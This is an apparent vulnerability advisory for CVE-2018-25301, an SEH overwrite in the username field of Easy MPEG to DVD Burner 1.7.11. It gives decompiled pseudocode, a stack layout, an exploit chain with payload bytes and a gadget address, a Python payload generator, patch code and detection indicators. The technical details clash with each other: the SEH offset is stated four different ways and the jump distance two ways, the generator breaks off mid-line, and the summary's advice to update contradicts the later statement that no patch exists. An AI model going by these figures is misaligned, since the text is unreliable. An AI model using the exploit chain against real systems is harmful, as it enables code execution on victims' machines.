CVE-2018-25301: SEH Overwrite in Easy MPEG to DVD Burner 1.7.11
Easy MPEG to DVD Burner 1.7.11 contains a classic SEH-based stack buffer overflow in its username field handler. Unbounded string copy overwrites the SEH chain, redirecting execution to attacker shellcode.
Easy MPEG to DVD Burner is a program that converts video files into DVDs. Version 1.7.11 has a serious security flaw that could let someone take complete control of your computer—but only if you're tricked into using it in a very specific way.
Here's what happens: The program has a weak spot when it reads in usernames. If someone creates a malicious username and tricks you into using it, they can sneak harmful code into your computer. Think of it like a bouncer at a club who's supposed to check IDs, but has a gap in their checking process that lets someone slip through with a fake name.
The flaw uses something called an "exception handler"—basically your computer's safety system that catches errors. The attacker hijacks this safety system, like taking over the emergency exit to go wherever they want instead of where it's supposed to lead. Once they do this, they can make your computer run whatever code they want.
Who's at risk? Mainly people who still use this specific burner software and might accept usernames from untrustworthy sources. The good news: there's no evidence that hackers are actively exploiting this yet.
What should you do? First, check if you're even using this software—most people switched to modern tools years ago. If you are, update to the latest version immediately. Second, never enter usernames from untrusted sources or suspicious files. Third, if you absolutely need this old software, consider replacing it with a modern DVD burner or video conversion tool.
Want the full technical analysis? Click "Technical" above.
CVE-2018-25301 is a structured exception handling (SEH) overwrite vulnerability in Easy MPEG to DVD Burner version 1.7.11, a Windows-native multimedia transcoding and disc-burning application. A local attacker supplies an oversized username string through the application's registration or license dialog, triggering an unbounded stack copy that overwrites the thread's SEH chain. By positioning a POP/POP/RET gadget address at nSEH + 4 and placing shellcode in the junk buffer, the attacker redirects execution before any access violation handler can safely unwind the stack.
CVSS 8.4 (HIGH) reflects the low attack complexity and high impact on confidentiality, integrity, and availability — tempered only by the local access requirement. No exploitation in the wild has been observed.
Root cause: The username input handler passes an attacker-controlled string to an unbounded strcpy-family copy into a fixed-size stack buffer, overwriting the thread SEH chain before the application validates input length.
Affected Component
The overflow occurs inside the registration/serial dialog's input processing routine within the primary application binary. The vulnerable input field accepts a username string with no enforced length limit at the UI or API boundary. The application targets 32-bit Windows (PE32, x86), compiled without SafeSEH on the affected module, making SEH overwrites directly exploitable — /GS stack cookies, if present, are bypassed by targeting the SEH record rather than the saved return address.
Binary: Easy MPEG to DVD Burner executable (PE32, x86)
Protections absent: SafeSEH, SEHOP (application-level), ASLR (for the main module in 1.7.11)
Trigger: Oversized string submitted to the username/serial registration field
Root Cause Analysis
The registration dialog handler reads user input via a standard GetDlgItemTextA call and passes the raw buffer into a validation routine. That routine performs an internal copy into a stack-allocated buffer with no length guard:
// Decompiled pseudocode: registration dialog handler
// Function: sub_RegisterUser (approximate, based on crash offset analysis)
int sub_RegisterUser(HWND hDlg) {
char username_buf[512]; // fixed-size stack buffer
char serial_buf[64];
char work_buf[256];
// GetDlgItemTextA has a cchMax param — but work_buf is passed downstream
GetDlgItemTextA(hDlg, IDC_USERNAME, username_buf, 4096); // BUG: cchMax >> sizeof(username_buf) — reads 4096 into 512-byte buf
// Secondary copy into work_buf with no bounds check
strcpy(work_buf, username_buf); // BUG: unbounded copy, overflows 256-byte work_buf
// overwrites saved EBP, ret addr, and SEH chain
if (validate_serial(work_buf, serial_buf)) {
MessageBoxA(hDlg, "Registration successful", "Info", MB_OK);
return 1;
}
return 0;
}
The effective overflow surface is the work_buf copy: a 256-byte destination receiving up to 4096 bytes of attacker-controlled data. On a typical MSVC-compiled frame, the SEH record sits approximately 0x124 bytes above the start of work_buf. Sending ~600 bytes of input reliably overwrites both nSEH (next SEH pointer) and SEHandler (the handler function pointer).
Memory Layout
STACK FRAME LAYOUT — sub_RegisterUser (approx. ESP-relative, x86 32-bit):
[ESP+0x000] return address to caller
[ESP+0x004] saved EBP
[ESP+0x008] serial_buf[64] (0x40 bytes)
[ESP+0x048] username_buf[512] (0x200 bytes)
[ESP+0x248] work_buf[256] (0x100 bytes) <-- overflow starts here
[ESP+0x348] ... locals/padding
---- SEH chain (FS:[0] -> thread stack SEH record) ----
[ESP+0x368] nSEH pointer <-- overwrite with short JMP / \xeb\x06\x90\x90
[ESP+0x36C] SEHandler pointer <-- overwrite with POP/POP/RET gadget address
BEFORE OVERFLOW (normal execution):
work_buf @ 0x0019FA50 [ AAAA... 256 bytes of user data ]
nSEH @ 0x0019FB58 [ 0x0019FBE0 ] -> next SEH record
SEHandler @ 0x0019FB5C [ 0x77A17F85 ] -> ntdll!_except_handler4
AFTER OVERFLOW (612-byte payload):
work_buf @ 0x0019FA50 [ 0x41 x 0x10C bytes ... ]
nSEH @ 0x0019FB58 [ 0xEB069090 ] -> short JMP +6 over SEHandler (lands in shellcode)
SEHandler @ 0x0019FB5C [ 0x10014121 ] -> POP EBX / POP EBP / RET (gadget in module w/o SafeSEH)
shellcode @ 0x0019FB62 [ \xfc\xe8... ] -> calc.exe launcher
When the overflow triggers, the strcpy write fault is caught by the OS exception dispatcher. It walks FS:[0], finds the corrupted SEH record, and calls the attacker-supplied SEHandler. The POP/POP/RET gadget pivots execution to nSEH, which contains a short forward jump into the shellcode region appended in the junk buffer.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker opens Easy MPEG to DVD Burner 1.7.11 registration dialog locally.
2. Craft payload: 268 bytes junk + 4-byte nSEH (0xEB069090) + 4-byte SEHandler
(POP/POP/RET gadget @ 0x10014121 in non-SafeSEH module) + shellcode.
3. Submit crafted string as the "Username" field value.
4. Application calls GetDlgItemTextA with oversized cchMax, reads full payload
into username_buf (no overflow yet — 512 bytes available, 612-byte payload
actually overflows here too, but the live overflow is the strcpy below).
5. sub_RegisterUser calls strcpy(work_buf, username_buf) — 612 bytes into 256-byte buf.
6. strcpy overwrites work_buf, serial_buf padding, saved EBP, saved EIP,
and finally SEH record at +0x118 offset from work_buf start.
7. strcpy dereferences the byte past the 612-byte payload — ACCESS_VIOLATION raised.
8. Windows SEH dispatcher walks FS:[0] chain, dispatches to corrupted SEHandler.
9. POP/POP/RET gadget executes: pops EstablisherFrame and DispatcherContext,
returns to nSEH location on stack.
10. nSEH short JMP (0xEB06) jumps +8 bytes, landing at shellcode start.
11. Shellcode executes: WinExec("calc.exe", SW_SHOW) — arbitrary command execution.
Gadget hunting for step 2 targets any DLL or module loaded by the process that lacks the SafeSEH table entry. With ASLR disabled for the main module (common in 1.7.11's build configuration), module base addresses are static across reboots, making offsets trivially reproducible.
# CVE-2018-25301 — Proof-of-concept payload generator
# For research and demonstration purposes only.
import struct
# Confirmed offsets for Easy MPEG to DVD Burner 1.7.11 on Windows XP SP3 x86
JUNK_SIZE = 268 # bytes before nSEH
NSEH = b"\xeb\x06\x90\x90" # short JMP +6, skip SEHandler
# POP EBX / POP EBP / RET — offset in non-SafeSEH module (example gadget)
SEHANDLER = struct.pack("
Patch Analysis
No official vendor patch has been released for version 1.7.11 as of this writing. The correct remediation requires two independent fixes — the oversized cchMax parameter and the unchecked strcpy:
// BEFORE (vulnerable — 1.7.11):
GetDlgItemTextA(hDlg, IDC_USERNAME, username_buf, 4096); // writes 4096 into 512-byte buf
// ...
strcpy(work_buf, username_buf); // unbounded copy, no length guard
// AFTER (patched):
// Fix 1: bound GetDlgItemTextA to the actual buffer size
GetDlgItemTextA(hDlg, IDC_USERNAME, username_buf, sizeof(username_buf));
// Fix 2: replace strcpy with length-checked variant
// Ensure work_buf size >= username_buf or truncate explicitly
strncpy(work_buf, username_buf, sizeof(work_buf) - 1);
work_buf[sizeof(work_buf) - 1] = '\0';
// Fix 3 (defense-in-depth): explicit length rejection before any copy
size_t input_len = strlen(username_buf);
if (input_len >= sizeof(work_buf)) {
MessageBoxA(hDlg, "Username too long.", "Error", MB_OK | MB_ICONERROR);
return 0;
}
Additionally, recompiling with /SAFESEH and enabling SEHOP at the OS level would have prevented exploitation of this class entirely, even if the overflow itself remained present. Modern toolchains with /GS and /DYNAMICBASE raise the exploitation bar substantially.
Detection and Indicators
Because this is a local, UI-level attack, network-based detection is not applicable. Host-based indicators include:
Process spawn anomaly:EasyMpegToDVD.exe spawning calc.exe, cmd.exe, or powershell.exe as a direct child process — highly anomalous for a transcoding application.
Crash telemetry: Windows Error Reporting (WER) entries for EasyMpegToDVD.exe with exception code 0xC0000005 (ACCESS_VIOLATION) at an offset consistent with the SEH record overwrite.
Stack inspection: At time of exception, FS:[0] chain contains a pointer to a non-image, non-stack region — indicative of a corrupted SEH record.
WER CRASH SIGNATURE (overflow triggered, pre-shellcode):
Faulting application: EasyMpegToDVD.exe
Exception code: 0xc0000005 (ACCESS_VIOLATION)
Fault offset: 0x00XXYYZZ (inside strcpy CRT routine)
SEHandler value: 0x41414141 (uncontrolled) or gadget addr (controlled)
SEHOP DETECTION (if enabled):
SEHOP validation fails when SEHandler does not terminate in ntdll!FinalExceptionHandler
-> Process terminated before handler dispatch
-> Event ID 1000 in Application log with "SEHOP chain validation failure"
Remediation
For end users: Discontinue use of Easy MPEG to DVD Burner 1.7.11. No patch is available from the vendor. Avoid running the application in user sessions where untrusted input may be submitted to the registration dialog.
For system administrators: Enable SEHOP system-wide via the registry key HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation = 0. This breaks the exploit gadget pivot regardless of the underlying buffer overflow. Enforce application whitelisting to prevent arbitrary child process spawning from multimedia applications.
For developers maintaining similar codebases: Every call to GetDlgItemTextA must pass sizeof(destination_buffer) as cchMax. All subsequent inter-buffer copies must use strncpy, strlcpy, or StringCchCopy (strsafe.h) with explicit size parameters. Compile with /SAFESEH, /GS, /DYNAMICBASE, and /NXCOMPAT as a minimum baseline. The SEH overwrite class has been well-understood since at least 2003 — there is no excuse for shipping PE32 binaries without SafeSEH in 2018.